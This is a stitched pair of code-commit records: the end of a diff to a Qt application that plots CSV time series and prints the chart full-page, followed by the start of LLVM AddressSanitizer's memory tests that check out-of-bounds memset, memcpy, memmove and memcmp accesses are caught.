});\r\n\r\n\r\n}\r\n\r\nMainWindow::~MainWindow()\r\n{\r\n delete ui;\r\n}\r\n\r\nvoid MainWindow::selectDataDialog(QWidget *parent, QList<QAction *> actions)\r\n{\r\n QDialog *dialog = new QDialog(parent);\r\n QVBoxLayout *layout = new QVBoxLayout(dialog);\r\n QLabel *lbl_select = new QLabel(\"Select Data:\", dialog);\r\n QFrame *frame = new QFrame(dialog);\r\n QVBoxLayout *frameLayout = new QVBoxLayout(frame);\r\n layout->addWidget(lbl_select);\r\n layout->addWidget(frame);\r\n\r\n QHBoxLayout *btnLayout = new QHBoxLayout(dialog);\r\n QPushButton *okBtn = new QPushButton(\"OK\");\r\n connect (okBtn, &QPushButton::clicked, [dialog](){\r\n dialog->close();\r\n });\r\n QSpacerItem *spacer = new QSpacerItem(50,30, QSizePolicy::Expanding);\r\n btnLayout->addSpacerItem(spacer);\r\n btnLayout->addWidget(okBtn);\r\n\r\n layout->addLayout(btnLayout);\r\n foreach (QAction *action, actions)\r\n {\r\n QCheckBox *chkBox = new QCheckBox(action->text(), dialog);\r\n chkBox->setChecked(true);\r\n connect(chkBox, &QCheckBox::toggled, [action](bool clicked){\r\n action->toggle();\r\n });\r\n frameLayout->addWidget(chkBox);\r\n }\r\n\r\n dialog->exec();\r\n\r\n}\r\n\r\nvoid MainWindow::setupActions()\r\n{\r\n mOpenFile = new QAction(\"Open File\", this);\r\n connect(mOpenFile, &QAction::triggered, [this](){\r\n QString fileName = QFileDialog::getOpenFileName(this, \"Open CSV file\", \"\", tr(\"CSV Files (*.csv)\"));\r\n if (!fileName.isEmpty())\r\n {\r\n readCSVFile(fileName);\r\n }\r\n });\r\n\r\n mPrintAction = new QAction(\"Print\");\r\n connect(mPrintAction, &QAction::triggered, [this](){\r\n QPrinter printer;\r\n\r\n QPrintDialog dialog(&printer, this);\r\n dialog.setWindowTitle(tr(\"Print Document\"));\r\n\r\n if (dialog.exec() != QDialog::Accepted) {\r\n return;\r\n }\r\n printer.setOrientation(QPrinter::Landscape);\r\n printer.setFullPage(true);\r\n QPainter painter;\r\n painter.begin(&printer);\r\n\r\n \/\/double xscale = printer.pageRect().width()\/double(ui->chartView->width());\r\n \/\/double yscale = printer.pageRect().height()\/double(ui->chartView->height());\r\n \/\/double scale = qMin(xscale, yscale);\r\n\r\n\r\n \/\/painter.translate(printer.paperRect().x() + printer.pageRect().width()\/2,\r\n \/\/ printer.paperRect().y() + printer.pageRect().height()\/2);\r\n \/\/painter.scale(scale, scale);\r\n \/\/painter.translate(-ui->chartView->width()\/2, -ui->chartView->height()\/2);\r\n\r\n\r\n ui->chartView->render(&painter);\r\n painter.drawRect(printer.pageRect());\r\n \/\/painter.drawRect(printer.paperRect());\r\n });\r\n\r\n}\r\n\r\nvoid MainWindow::setupMenus()\r\n{\r\n mFileMenu = new QMenu(\"File\", this);\r\n mFileMenu->addAction(mOpenFile);\r\n\r\n mDataMenu = new QMenu(\"Data\", this);\r\n mLinesMenu = new QMenu(\"Lines\", this);\r\n mDataMenu->addMenu(mLinesMenu);\r\n\r\n mPrintMenu = new QMenu(\"Print\", this);\r\n mPrintMenu->addAction(mPrintAction);\r\n\r\n ui->menuBar->addMenu(mFileMenu);\r\n ui->menuBar->addMenu(mDataMenu);\r\n ui->menuBar->addMenu(mPrintMenu);\r\n}\r\n\r\nvoid MainWindow::readCSVFile(const QString &fileName)\r\n{\r\n QFile file(fileName);\r\n if (file.open(QIODevice::ReadOnly))\r\n {\r\n QStringList dataSeries;\r\n QMap<QString, QList<float>> dataValues;\r\n if (!file.atEnd())\r\n {\r\n \/\/read header\r\n QString header = file.readLine();\r\n QStringList headers = header.split(\",\");\r\n for (int i=1; i<headers.size(); i++)\r\n {\r\n dataSeries.append(headers[i]);\r\n dataValues.insert(headers[i], QList<float>());\r\n }\r\n }\r\n QList<QDateTime> timeStamps;\r\n QDateTime minDate, maxDate;\r\n while(!file.atEnd())\r\n {\r\n QString line = file.readLine();\r\n QStringList data = line.split(\",\");\r\n QDateTime ts = QDateTime::fromString(data[0], \"M\/d\/yyyy hh:mm:ss AP\");\r\n if (!ts.isValid())\r\n continue;\r\n\r\n timeStamps.append(ts);\r\n if (data.size()-1 != dataSeries.size())\r\n {\r\n \/*QMessageBox::critical(this, \"Error\", \"Error in csv file data\");\r\n return;*\/\r\n continue;\r\n }\r\n for (int i=1; i<data.size(); i++)\r\n {\r\n dataValues[dataSeries[i-1]].append(data[i].toFloat());\r\n }\r\n\r\n }\r\n if (!timeStamps.isEmpty())\r\n {\r\n maxDate = timeStamps[0];\r\n minDate = timeStamps[0];\r\n }\r\n foreach (QDateTime focusDate, timeStamps)\r\n {\r\n minDate = (focusDate < minDate)? focusDate : minDate;\r\n maxDate = (focusDate > maxDate)? focusDate : maxDate;\r\n }\r\n\r\n\r\n mSeriesMax.clear();\r\n mSeriesMin.clear();\r\n \/\/min max calulcation\r\n QMapIterator<QString, QList<float>> i(dataValues);\r\n while (i.hasNext())\r\n {\r\n i.next();\r\n QString sName = i.key();\r\n QList<float> data = i.value();\r\n\r\n float min_ = *std::min_element(data.begin(), data.end());\r\n float max_ = *std::max_element(data.begin(), data.end());\r\n mSeriesMax[sName] = max_;\r\n mSeriesMin[sName] = min_;\r\n\r\n\r\n }\r\n mChart->removeAllSeries();\r\n mLinesMenu->clear();\r\n mShownSeries.clear();\r\n\r\n for (int i=0; i<dataSeries.size(); i++)\r\n {\r\n QString seriesName = dataSeries[i];\r\n QList<float> data = dataValues[seriesName];\r\n\r\n QtCharts::QLineSeries *series = new QtCharts::QLineSeries();\r\n series->setName(seriesName);\r\n for (int j=0; j<timeStamps.size(); j++)\r\n {\r\n series->append(timeStamps[j].toMSecsSinceEpoch(), data[j]);\r\n }\r\n mChart->addSeries(series);\r\n series->attachAxis(mXaxis);\r\n series->attachAxis(mYaxis);\r\n QAction *showSeries = new QAction(seriesName);\r\n showSeries->setCheckable(true);\r\n showSeries->setChecked(true);\r\n mShownSeries.insert(seriesName);\r\n connect(showSeries, &QAction::toggled, [this, series, dataValues](bool checked){\r\n float maximum = 0;\r\n float minimum = 65000;\r\n QString sName = series->name();\r\n if (checked)\r\n {\r\n mShownSeries.insert(sName);\r\n\r\n foreach (QString seriesName, mShownSeries)\r\n {\r\n\r\n minimum = (mSeriesMin[seriesName] < minimum)? mSeriesMin[seriesName] : minimum;\r\n maximum = (mSeriesMax[seriesName] > maximum)? mSeriesMax[seriesName] : maximum;\r\n }\r\n mYaxis->setRange(minimum, maximum + 10);\r\n mChart->addSeries(series);\r\n series->attachAxis(mXaxis);\r\n series->attachAxis(mYaxis);\r\n\r\n }\r\n else\r\n {\r\n mShownSeries.remove(sName);\r\n foreach (QString seriesName, mShownSeries)\r\n {\r\n;\r\n minimum = (mSeriesMin[seriesName] < minimum)? mSeriesMin[seriesName] : minimum;\r\n maximum = (mSeriesMax[seriesName] > maximum)? mSeriesMax[seriesName] : maximum;\r\n }\r\n mYaxis->setRange(minimum, maximum + 10);\r\n mChart->removeSeries(series);\r\n\r\n }\r\n\r\n\r\n\r\n });\r\n mLinesMenu->addAction(showSeries);\r\n }\r\n ui->chartView->setChart(mChart);\r\n float maximum = 0;\r\n float minimum = 65000;\r\n foreach (QString seriesName, mShownSeries)\r\n {\r\n\r\n minimum = (mSeriesMin[seriesName] < minimum)? mSeriesMin[seriesName] : minimum;\r\n maximum = (mSeriesMax[seriesName] > maximum)? mSeriesMax[seriesName] : maximum;\r\n }\r\n\r\n\r\n QFileInfo fInfo(fileName);\r\n mChart->setTitleFont(QFont(\"Times New Roman\", 14));\r\n mChart->setTitle(\"<b>\" + fInfo.baseName()+ \"<\/b>\");\r\n mYaxis->setRange(minimum, maximum + 10);\r\n mXaxis->setTickCount(10);\r\n mXaxis->setGridLineVisible();\r\n mXaxis->setFormat(\"yy-MM-d hh:mm\");\r\n mXaxis->setTitleText(\"Date\");\r\n ui->maxDate->setMinimumDateTime(minDate);\r\n ui->maxDate->setMaximumDateTime(maxDate);\r\n ui->maxDate->setDateTime(maxDate);\r\n\r\n ui->minDate->setMinimumDateTime(minDate);\r\n ui->minDate->setMaximumDateTime(maxDate);\r\n ui->minDate->setDateTime(minDate);\r\n\r\n ui->frame->setVisible(true);\r\n selectDataDialog(this, mLinesMenu->actions());\r\n }\r\n}\r\n\r\nvoid MainWindow::on_pushButton_clicked()\r\n{\r\n QDateTime minDate = ui->minDate->dateTime();\r\n QDateTime maxDate = ui->maxDate->dateTime();\r\n\r\n if (minDate < maxDate)\r\n {\r\n mXaxis->setRange(minDate, maxDate);\r\n }\r\n else\r\n {\r\n QMessageBox::warning(this, \"Invalid Range\", \"Invalid range please check\");\r\n }\r\n}\r\n<commit_msg>full page printing<commit_after>\r\n#include <QLineSeries>\r\n#include <QMenu>\r\n#include <QAction>\r\n#include <QFileDialog>\r\n#include <QFile>\r\n#include <QDateTime>\r\n#include <QMessageBox>\r\n#include <QDateTimeAxis>\r\n#include <QValueAxis>\r\n#include <QPrinter>\r\n#include <QPrintDialog>\r\n#include <QVBoxLayout>\r\n#include <QCheckBox>\r\n#include <QPushButton>\r\n#include <QToolButton>\r\n#include <QDebug>\r\n\r\n#include \"mainwindow.h\"\r\n#include \"ui_mainwindow.h\"\r\n\r\n\r\n\r\nMainWindow::MainWindow(QWidget *parent) :\r\n QMainWindow(parent),\r\n ui(new Ui::MainWindow)\r\n{\r\n ui->setupUi(this);\r\n ui->frame->hide();\r\n mChart = new QtCharts::QChart();\r\n\r\n mXaxis = new QtCharts::QDateTimeAxis();\r\n mXaxis->setTitleFont(QFont(\"\", 12, QFont::Bold));\r\n mXaxis->setLabelsAngle(20);\r\n mChart->addAxis(mXaxis, Qt::AlignBottom);\r\n\r\n mYaxis = new QtCharts::QValueAxis();\r\n mYaxis->setTitleFont(QFont(\"\", 12, QFont::Bold));\r\n mYaxis->setLabelFormat(\"%i\");\r\n mYaxis->setTitleText(\"Values\");\r\n mChart->addAxis(mYaxis, Qt::AlignLeft);\r\n\r\n\r\n ui->chartView->setChart(mChart);\r\n ui->chartView->setRenderHint(QPainter::Antialiasing);\r\n\r\n setupActions();\r\n setupMenus();\r\n\r\n connect(ui->minDate, &QDateTimeEdit::dateTimeChanged, [this](){\r\n QDateTime minDate = ui->minDate->dateTime();\r\n ui->maxDate->setMinimumDateTime(minDate);\r\n });\r\n connect(ui->maxDate, &QDateTimeEdit::dateTimeChanged, [this](){\r\n QDateTime maxDate = ui->maxDate->dateTime();\r\n ui->minDate->setMaximumDateTime(maxDate);\r\n });\r\n\r\n\r\n}\r\n\r\nMainWindow::~MainWindow()\r\n{\r\n delete ui;\r\n}\r\n\r\nvoid MainWindow::selectDataDialog(QWidget *parent, QList<QAction *> actions)\r\n{\r\n QDialog *dialog = new QDialog(parent);\r\n QVBoxLayout *layout = new QVBoxLayout(dialog);\r\n QLabel *lbl_select = new QLabel(\"Select Data:\", dialog);\r\n QFrame *frame = new QFrame(dialog);\r\n QVBoxLayout *frameLayout = new QVBoxLayout(frame);\r\n layout->addWidget(lbl_select);\r\n layout->addWidget(frame);\r\n\r\n QHBoxLayout *btnLayout = new QHBoxLayout(dialog);\r\n QPushButton *okBtn = new QPushButton(\"OK\");\r\n connect (okBtn, &QPushButton::clicked, [dialog](){\r\n dialog->close();\r\n });\r\n QSpacerItem *spacer = new QSpacerItem(50,30, QSizePolicy::Expanding);\r\n btnLayout->addSpacerItem(spacer);\r\n btnLayout->addWidget(okBtn);\r\n\r\n layout->addLayout(btnLayout);\r\n foreach (QAction *action, actions)\r\n {\r\n QCheckBox *chkBox = new QCheckBox(action->text(), dialog);\r\n chkBox->setChecked(true);\r\n connect(chkBox, &QCheckBox::toggled, [action](bool clicked){\r\n action->toggle();\r\n });\r\n frameLayout->addWidget(chkBox);\r\n }\r\n\r\n dialog->exec();\r\n\r\n}\r\n\r\nvoid MainWindow::setupActions()\r\n{\r\n mOpenFile = new QAction(\"Open File\", this);\r\n connect(mOpenFile, &QAction::triggered, [this](){\r\n QString fileName = QFileDialog::getOpenFileName(this, \"Open CSV file\", \"\", tr(\"CSV Files (*.csv)\"));\r\n if (!fileName.isEmpty())\r\n {\r\n readCSVFile(fileName);\r\n }\r\n });\r\n\r\n mPrintAction = new QAction(\"Print\");\r\n connect(mPrintAction, &QAction::triggered, [this](){\r\n QPrinter printer;\r\n\r\n QPrintDialog dialog(&printer, this);\r\n dialog.setWindowTitle(tr(\"Print Document\"));\r\n\r\n if (dialog.exec() != QDialog::Accepted) {\r\n return;\r\n }\r\n printer.setOrientation(QPrinter::Landscape);\r\n printer.setFullPage(true);\r\n QPainter painter;\r\n painter.begin(&printer);\r\n\r\n \/\/double xscale = printer.pageRect().width()\/double(ui->chartView->width());\r\n \/\/double yscale = printer.pageRect().height()\/double(ui->chartView->height());\r\n \/\/double scale = qMin(xscale, yscale);\r\n\r\n\r\n \/\/painter.translate(printer.paperRect().x() + printer.pageRect().width()\/2,\r\n \/\/ printer.paperRect().y() + printer.pageRect().height()\/2);\r\n \/\/painter.scale(scale, scale);\r\n \/\/painter.translate(-ui->chartView->width()\/2, -ui->chartView->height()\/2);\r\n\r\n\r\n ui->chartView->render(&painter, printer.pageRect(), ui->chartView->rect(),Qt::IgnoreAspectRatio);\r\n painter.drawRect(printer.pageRect());\r\n \/\/painter.drawRect(printer.paperRect());\r\n });\r\n\r\n}\r\n\r\nvoid MainWindow::setupMenus()\r\n{\r\n mFileMenu = new QMenu(\"File\", this);\r\n mFileMenu->addAction(mOpenFile);\r\n\r\n mDataMenu = new QMenu(\"Data\", this);\r\n mLinesMenu = new QMenu(\"Lines\", this);\r\n mDataMenu->addMenu(mLinesMenu);\r\n\r\n mPrintMenu = new QMenu(\"Print\", this);\r\n mPrintMenu->addAction(mPrintAction);\r\n\r\n ui->menuBar->addMenu(mFileMenu);\r\n ui->menuBar->addMenu(mDataMenu);\r\n ui->menuBar->addMenu(mPrintMenu);\r\n}\r\n\r\nvoid MainWindow::readCSVFile(const QString &fileName)\r\n{\r\n QFile file(fileName);\r\n if (file.open(QIODevice::ReadOnly))\r\n {\r\n QStringList dataSeries;\r\n QMap<QString, QList<float>> dataValues;\r\n if (!file.atEnd())\r\n {\r\n \/\/read header\r\n QString header = file.readLine();\r\n QStringList headers = header.split(\",\");\r\n for (int i=1; i<headers.size(); i++)\r\n {\r\n dataSeries.append(headers[i]);\r\n dataValues.insert(headers[i], QList<float>());\r\n }\r\n }\r\n QList<QDateTime> timeStamps;\r\n QDateTime minDate, maxDate;\r\n while(!file.atEnd())\r\n {\r\n QString line = file.readLine();\r\n QStringList data = line.split(\",\");\r\n QDateTime ts = QDateTime::fromString(data[0], \"M\/d\/yyyy hh:mm:ss AP\");\r\n if (!ts.isValid())\r\n continue;\r\n\r\n timeStamps.append(ts);\r\n if (data.size()-1 != dataSeries.size())\r\n {\r\n \/*QMessageBox::critical(this, \"Error\", \"Error in csv file data\");\r\n return;*\/\r\n continue;\r\n }\r\n for (int i=1; i<data.size(); i++)\r\n {\r\n dataValues[dataSeries[i-1]].append(data[i].toFloat());\r\n }\r\n\r\n }\r\n if (!timeStamps.isEmpty())\r\n {\r\n maxDate = timeStamps[0];\r\n minDate = timeStamps[0];\r\n }\r\n foreach (QDateTime focusDate, timeStamps)\r\n {\r\n minDate = (focusDate < minDate)? focusDate : minDate;\r\n maxDate = (focusDate > maxDate)? focusDate : maxDate;\r\n }\r\n\r\n\r\n mSeriesMax.clear();\r\n mSeriesMin.clear();\r\n \/\/min max calulcation\r\n QMapIterator<QString, QList<float>> i(dataValues);\r\n while (i.hasNext())\r\n {\r\n i.next();\r\n QString sName = i.key();\r\n QList<float> data = i.value();\r\n\r\n float min_ = *std::min_element(data.begin(), data.end());\r\n float max_ = *std::max_element(data.begin(), data.end());\r\n mSeriesMax[sName] = max_;\r\n mSeriesMin[sName] = min_;\r\n\r\n\r\n }\r\n mChart->removeAllSeries();\r\n mLinesMenu->clear();\r\n mShownSeries.clear();\r\n\r\n for (int i=0; i<dataSeries.size(); i++)\r\n {\r\n QString seriesName = dataSeries[i];\r\n QList<float> data = dataValues[seriesName];\r\n\r\n QtCharts::QLineSeries *series = new QtCharts::QLineSeries();\r\n series->setName(seriesName);\r\n for (int j=0; j<timeStamps.size(); j++)\r\n {\r\n series->append(timeStamps[j].toMSecsSinceEpoch(), data[j]);\r\n }\r\n mChart->addSeries(series);\r\n series->attachAxis(mXaxis);\r\n series->attachAxis(mYaxis);\r\n QAction *showSeries = new QAction(seriesName);\r\n showSeries->setCheckable(true);\r\n showSeries->setChecked(true);\r\n mShownSeries.insert(seriesName);\r\n connect(showSeries, &QAction::toggled, [this, series, dataValues](bool checked){\r\n float maximum = 0;\r\n float minimum = 65000;\r\n QString sName = series->name();\r\n if (checked)\r\n {\r\n mShownSeries.insert(sName);\r\n\r\n foreach (QString seriesName, mShownSeries)\r\n {\r\n\r\n minimum = (mSeriesMin[seriesName] < minimum)? mSeriesMin[seriesName] : minimum;\r\n maximum = (mSeriesMax[seriesName] > maximum)? mSeriesMax[seriesName] : maximum;\r\n }\r\n mYaxis->setRange(minimum, maximum + 10);\r\n mChart->addSeries(series);\r\n series->attachAxis(mXaxis);\r\n series->attachAxis(mYaxis);\r\n\r\n }\r\n else\r\n {\r\n mShownSeries.remove(sName);\r\n foreach (QString seriesName, mShownSeries)\r\n {\r\n;\r\n minimum = (mSeriesMin[seriesName] < minimum)? mSeriesMin[seriesName] : minimum;\r\n maximum = (mSeriesMax[seriesName] > maximum)? mSeriesMax[seriesName] : maximum;\r\n }\r\n mYaxis->setRange(minimum, maximum + 10);\r\n mChart->removeSeries(series);\r\n\r\n }\r\n\r\n\r\n\r\n });\r\n mLinesMenu->addAction(showSeries);\r\n }\r\n ui->chartView->setChart(mChart);\r\n float maximum = 0;\r\n float minimum = 65000;\r\n foreach (QString seriesName, mShownSeries)\r\n {\r\n\r\n minimum = (mSeriesMin[seriesName] < minimum)? mSeriesMin[seriesName] : minimum;\r\n maximum = (mSeriesMax[seriesName] > maximum)? mSeriesMax[seriesName] : maximum;\r\n }\r\n\r\n\r\n QFileInfo fInfo(fileName);\r\n mChart->setTitleFont(QFont(\"Times New Roman\", 14));\r\n mChart->setTitle(\"<b>\" + fInfo.baseName()+ \"<\/b>\");\r\n mYaxis->setRange(minimum, maximum + 10);\r\n mXaxis->setTickCount(10);\r\n mXaxis->setGridLineVisible();\r\n mXaxis->setFormat(\"yy-MM-d hh:mm\");\r\n mXaxis->setTitleText(\"Date\");\r\n ui->maxDate->setMinimumDateTime(minDate);\r\n ui->maxDate->setMaximumDateTime(maxDate);\r\n ui->maxDate->setDateTime(maxDate);\r\n\r\n ui->minDate->setMinimumDateTime(minDate);\r\n ui->minDate->setMaximumDateTime(maxDate);\r\n ui->minDate->setDateTime(minDate);\r\n\r\n ui->frame->setVisible(true);\r\n selectDataDialog(this, mLinesMenu->actions());\r\n }\r\n}\r\n\r\nvoid MainWindow::on_pushButton_clicked()\r\n{\r\n QDateTime minDate = ui->minDate->dateTime();\r\n QDateTime maxDate = ui->maxDate->dateTime();\r\n\r\n if (minDate < maxDate)\r\n {\r\n mXaxis->setRange(minDate, maxDate);\r\n }\r\n else\r\n {\r\n QMessageBox::warning(this, \"Invalid Range\", \"Invalid range please check\");\r\n }\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- asan_mem_test.cc --------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"asan_test_utils.h\"\n\ntemplate<typename T>\nvoid MemSetOOBTestTemplate(size_t length) {\n if (length == 0) return;\n size_t size = Ident(sizeof(T) * length);\n T *array = Ident((T*)malloc(size));\n int element = Ident(42);\n int zero = Ident(0);\n void *(*MEMSET)(void *s, int c, size_t n) = Ident(memset);\n \/\/ memset interval inside array\n MEMSET(array, element, size);\n MEMSET(array, element, size - 1);\n MEMSET(array + length - 1, element, sizeof(T));\n MEMSET(array, element, 1);\n\n \/\/ memset 0 bytes\n MEMSET(array - 10, element, zero);\n MEMSET(array - 1, element, zero);\n MEMSET(array, element, zero);\n MEMSET(array + length, 0, zero);\n MEMSET(array + length + 1, 0, zero);\n\n \/\/ try to memset bytes to the right of array\n EXPECT_DEATH(MEMSET(array, 0, size + 1),\n RightOOBWriteMessage(0));\n EXPECT_DEATH(MEMSET((char*)(array + length) - 1, element, 6),\n RightOOBWriteMessage(0));\n EXPECT_DEATH(MEMSET(array + 1, element, size + sizeof(T)),\n RightOOBWriteMessage(0));\n \/\/ whole interval is to the right\n EXPECT_DEATH(MEMSET(array + length + 1, 0, 10),\n RightOOBWriteMessage(sizeof(T)));\n\n \/\/ try to memset bytes to the left of array\n EXPECT_DEATH(MEMSET((char*)array - 1, element, size),\n LeftOOBWriteMessage(1));\n EXPECT_DEATH(MEMSET((char*)array - 5, 0, 6),\n LeftOOBWriteMessage(5));\n if (length >= 100) {\n \/\/ Large OOB, we find it only if the redzone is large enough.\n EXPECT_DEATH(memset(array - 5, element, size + 5 * sizeof(T)),\n LeftOOBWriteMessage(5 * sizeof(T)));\n }\n \/\/ whole interval is to the left\n EXPECT_DEATH(MEMSET(array - 2, 0, sizeof(T)),\n LeftOOBWriteMessage(2 * sizeof(T)));\n\n \/\/ try to memset bytes both to the left & to the right\n EXPECT_DEATH(MEMSET((char*)array - 2, element, size + 4),\n LeftOOBWriteMessage(2));\n\n free(array);\n}\n\nTEST(AddressSanitizer, MemSetOOBTest) {\n MemSetOOBTestTemplate<char>(100);\n MemSetOOBTestTemplate<int>(5);\n MemSetOOBTestTemplate<double>(256);\n \/\/ We can test arrays of structres\/classes here, but what for?\n}\n\n\/\/ Try to allocate two arrays of 'size' bytes that are near each other.\n\/\/ Strictly speaking we are not guaranteed to find such two pointers,\n\/\/ but given the structure of asan's allocator we will.\nstatic bool AllocateTwoAdjacentArrays(char **x1, char **x2, size_t size) {\n vector<char *> v;\n bool res = false;\n for (size_t i = 0; i < 1000U && !res; i++) {\n v.push_back(new char[size]);\n if (i == 0) continue;\n sort(v.begin(), v.end());\n for (size_t j = 1; j < v.size(); j++) {\n assert(v[j] > v[j-1]);\n if ((size_t)(v[j] - v[j-1]) < size * 2) {\n *x2 = v[j];\n *x1 = v[j-1];\n res = true;\n break;\n }\n }\n }\n\n for (size_t i = 0; i < v.size(); i++) {\n if (res && v[i] == *x1) continue;\n if (res && v[i] == *x2) continue;\n delete [] v[i];\n }\n return res;\n}\n\nTEST(AddressSanitizer, LargeOOBInMemset) {\n for (size_t size = 200; size < 100000; size += size \/ 2) {\n char *x1, *x2;\n if (!Ident(AllocateTwoAdjacentArrays)(&x1, &x2, size))\n continue;\n \/\/ fprintf(stderr, \" large oob memset: %p %p %zd\\n\", x1, x2, size);\n \/\/ Do a memset on x1 with huge out-of-bound access that will end up in x2.\n EXPECT_DEATH(Ident(memset)(x1, 0, size * 2),\n \"is located 0 bytes to the right\");\n delete [] x1;\n delete [] x2;\n return;\n }\n assert(0 && \"Did not find two adjacent malloc-ed pointers\");\n}\n\n\/\/ Same test for memcpy and memmove functions\ntemplate <typename T, class M>\nvoid MemTransferOOBTestTemplate(size_t length) {\n if (length == 0) return;\n size_t size = Ident(sizeof(T) * length);\n T *src = Ident((T*)malloc(size));\n T *dest = Ident((T*)malloc(size));\n int zero = Ident(0);\n\n \/\/ valid transfer of bytes between arrays\n M::transfer(dest, src, size);\n M::transfer(dest + 1, src, size - sizeof(T));\n M::transfer(dest, src + length - 1, sizeof(T));\n M::transfer(dest, src, 1);\n\n \/\/ transfer zero bytes\n M::transfer(dest - 1, src, 0);\n M::transfer(dest + length, src, zero);\n M::transfer(dest, src - 1, zero);\n M::transfer(dest, src, zero);\n\n \/\/ try to change mem to the right of dest\n EXPECT_DEATH(M::transfer(dest + 1, src, size),\n RightOOBWriteMessage(0));\n EXPECT_DEATH(M::transfer((char*)(dest + length) - 1, src, 5),\n RightOOBWriteMessage(0));\n\n \/\/ try to change mem to the left of dest\n EXPECT_DEATH(M::transfer(dest - 2, src, size),\n LeftOOBWriteMessage(2 * sizeof(T)));\n EXPECT_DEATH(M::transfer((char*)dest - 3, src, 4),\n LeftOOBWriteMessage(3));\n\n \/\/ try to access mem to the right of src\n EXPECT_DEATH(M::transfer(dest, src + 2, size),\n RightOOBReadMessage(0));\n EXPECT_DEATH(M::transfer(dest, (char*)(src + length) - 3, 6),\n RightOOBReadMessage(0));\n\n \/\/ try to access mem to the left of src\n EXPECT_DEATH(M::transfer(dest, src - 1, size),\n LeftOOBReadMessage(sizeof(T)));\n EXPECT_DEATH(M::transfer(dest, (char*)src - 6, 7),\n LeftOOBReadMessage(6));\n\n \/\/ Generally we don't need to test cases where both accessing src and writing\n \/\/ to dest address to poisoned memory.\n\n T *big_src = Ident((T*)malloc(size * 2));\n T *big_dest = Ident((T*)malloc(size * 2));\n \/\/ try to change mem to both sides of dest\n EXPECT_DEATH(M::transfer(dest - 1, big_src, size * 2),\n LeftOOBWriteMessage(sizeof(T)));\n \/\/ try to access mem to both sides of src\n EXPECT_DEATH(M::transfer(big_dest, src - 2, size * 2),\n LeftOOBReadMessage(2 * sizeof(T)));\n\n free(src);\n free(dest);\n free(big_src);\n free(big_dest);\n}\n\nclass MemCpyWrapper {\n public:\n static void* transfer(void *to, const void *from, size_t size) {\n return Ident(memcpy)(to, from, size);\n }\n};\n\nTEST(AddressSanitizer, MemCpyOOBTest) {\n MemTransferOOBTestTemplate<char, MemCpyWrapper>(100);\n MemTransferOOBTestTemplate<int, MemCpyWrapper>(1024);\n}\n\nclass MemMoveWrapper {\n public:\n static void* transfer(void *to, const void *from, size_t size) {\n return Ident(memmove)(to, from, size);\n }\n};\n\nTEST(AddressSanitizer, MemMoveOOBTest) {\n MemTransferOOBTestTemplate<char, MemMoveWrapper>(100);\n MemTransferOOBTestTemplate<int, MemMoveWrapper>(1024);\n}\n\n\nTEST(AddressSanitizer, MemCmpOOBTest) {\n size_t size = Ident(100);\n char *s1 = MallocAndMemsetString(size);\n char *s2 = MallocAndMemsetString(size);\n \/\/ Normal memcmp calls.\n Ident(memcmp(s1, s2, size));\n Ident(memcmp(s1 + size - 1, s2 + size - 1, 1));\n Ident(memcmp(s1 - 1, s2 - 1, 0));\n \/\/ One of arguments points to not allocated memory.\n EXPECT_DEATH(Ident(memcmp)(s1 - 1, s2, 1), LeftOOBReadMessage(1));\n EXPECT_DEATH(Ident(memcmp)(s1, s2 - 1, 1), LeftOOBReadMessage(1));\n EXPECT_DEATH(Ident(memcmp)(s1 + size, s2, 1), RightOOBReadMessage(0));\n EXPECT_DEATH(Ident(memcmp)(s1, s2 + size, 1), RightOOBReadMessage(0));\n \/\/ Hit unallocated memory and die.\n EXPECT_DEATH(Ident(memcmp)(s1 + 1, s2 + 1, size), RightOOBReadMessage(0));\n EXPECT_DEATH(Ident(memcmp)(s1 + size - 1, s2, 2), RightOOBReadMessage(0));\n \/\/ Zero bytes are not terminators and don't prevent from OOB.\n s1[size - 1] = '\\0';\n s2[size - 1] = '\\0';\n EXPECT_DEATH(Ident(memcmp)(s1, s2, size + 1), RightOOBReadMessage(0));\n\n \/\/ Even if the buffers differ in the first byte, we still assume that\n \/\/ memcmp may access the whole buffer and thus reporting the overflow here:\n s1[0] = 1;\n s2[0] = 123;\n EXPECT_DEATH(Ident(memcmp)(s1, s2, size + 1), RightOOBReadMessage(0));\n\n free(s1);\n free(s2);\n}\n\n\n\n<commit_msg>[asan] remove UB (comparison of two unrelated pointers) from a test<commit_after>\/\/===-- asan_mem_test.cc --------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"asan_test_utils.h\"\n\ntemplate<typename T>\nvoid MemSetOOBTestTemplate(size_t length) {\n if (length == 0) return;\n size_t size = Ident(sizeof(T) * length);\n T *array = Ident((T*)malloc(size));\n int element = Ident(42);\n int zero = Ident(0);\n void *(*MEMSET)(void *s, int c, size_t n) = Ident(memset);\n \/\/ memset interval inside array\n MEMSET(array, element, size);\n MEMSET(array, element, size - 1);\n MEMSET(array + length - 1, element, sizeof(T));\n MEMSET(array, element, 1);\n\n \/\/ memset 0 bytes\n MEMSET(array - 10, element, zero);\n MEMSET(array - 1, element, zero);\n MEMSET(array, element, zero);\n MEMSET(array + length, 0, zero);\n MEMSET(array + length + 1, 0, zero);\n\n \/\/ try to memset bytes to the right of array\n EXPECT_DEATH(MEMSET(array, 0, size + 1),\n RightOOBWriteMessage(0));\n EXPECT_DEATH(MEMSET((char*)(array + length) - 1, element, 6),\n RightOOBWriteMessage(0));\n EXPECT_DEATH(MEMSET(array + 1, element, size + sizeof(T)),\n RightOOBWriteMessage(0));\n \/\/ whole interval is to the right\n EXPECT_DEATH(MEMSET(array + length + 1, 0, 10),\n RightOOBWriteMessage(sizeof(T)));\n\n \/\/ try to memset bytes to the left of array\n EXPECT_DEATH(MEMSET((char*)array - 1, element, size),\n LeftOOBWriteMessage(1));\n EXPECT_DEATH(MEMSET((char*)array - 5, 0, 6),\n LeftOOBWriteMessage(5));\n if (length >= 100) {\n \/\/ Large OOB, we find it only if the redzone is large enough.\n 